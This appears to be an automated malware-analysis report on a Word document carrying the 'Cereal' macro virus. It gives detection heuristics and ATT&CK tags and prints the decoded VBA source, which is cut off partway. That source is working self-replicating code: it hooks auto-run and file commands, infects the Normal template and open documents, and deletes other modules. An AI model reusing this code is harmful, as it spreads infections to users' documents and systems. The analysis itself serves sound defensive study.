MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The AutoOpen and AutoExec macros, along with the critical Shell() call, indicate that the VBA code is designed to execute a payload. The presence of the 'Cereal' subroutine and the 'clascopy' function suggests an attempt to obfuscate or copy malicious code, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Trojan.Opey-18' further confirms its malicious nature.
Heuristics 7
-
ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Opey-18
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 20780 bytes |
SHA-256: eaf94edd8fb0d20c2e51a26f35ba65e2409dfc6a0555bebf19538d9eeb800b2d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Cereal"
Sub AutoOpen()
Call stealth
On Error Resume Next
Call clascopy
ActiveDocument.Save
End Sub
Sub AutoExec()
Call stealth
On Error Resume Next
Call clascopy
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Call clascopy
Application.UserName = "Cereal"
Application.UserAddress = "Cereal"
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
On Error Resume Next
Call clascopy
Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
On Error Resume Next
Call clascopy
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
On Error Resume Next
Dialogs(wdDialogFileOpen).Show
Call clascopy
ActiveDocument.Save
End Sub
Sub AutoClose()
On Error Resume Next
Call clascopy
End Sub
Sub AutoExit()
On Error Resume Next
Call clascopy
Application.Quit
End Sub
Sub FileSave()
On Error Resume Next
Call clascopy
ActiveDocument.Save
End Sub
Sub FileClose()
On Error Resume Next
Call clascopy
If ActiveDocument.Words(1) <> "" _
And ActiveDocument.Saved = False Then
ActiveDocument.Save
End If
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
Call clascopy
If ActiveDocument.Words(1) <> "" And _
ActiveDocument.Saved = False Then
ActiveDocument.Save
End If
Call payload
Application.Quit
End Sub
Sub FileNew()
On Error Resume Next
Dialogs(wdDialogFileNew).Show
Call clascopy
End Sub
Sub clascopy()
On Error Resume Next
Call stealth
infected = False
For A_A = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
modname = NormalTemplate.VBProject.VBComponents(A_A).Name
If modname = "Cereal" Then
infected = True
e = NormalTemplate.VBProject.VBComponents(2).CodeModule.countoflines
vircode = NormalTemplate.VBProject.VBComponents(2).CodeModule.Lines(1, e)
End If
If (modname <> "Cereal") And (modname <> "ThisDocument") Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
End If
Next A_A
For Each documentopen In Documents
Docinfected = False
With documentopen
For Cerealclaw = documentopen.VBProject.VBComponents.Count To 1 Step -1
modname = documentopen.VBProject.VBComponents(Cerealclaw).Name
If modname = "Cereal" Then
Docinfected = True
e = documentopen.VBProject.VBComponents(2).CodeModule.countoflines
vircode = documentopen.VBProject.VBComponents(2).CodeModule.Lines(1, e)
End If
If (modname <> "Cereal") And (modname <> "ThisDocument") And (modname <> "Reference to Normal") Then
Application.OrganizerDelete Source:=documentopen.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
End If
Next Cerealclaw
If Docinfected = False Then
documentopen.VBProject.VBComponents.Add(1).Name = "Cereal"
e = NormalTemplate.VBProject.VBComponents(2).CodeModule.countoflines
vircode = NormalTemplate.VBProject.VBComponents(2).CodeModule.Lines(1, e)
documentopen.VBProject.VBComponents(2).CodeModule.InsertLines 1, vircode
End If
End With
Next documentopen
If infected = False Then
Normal
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.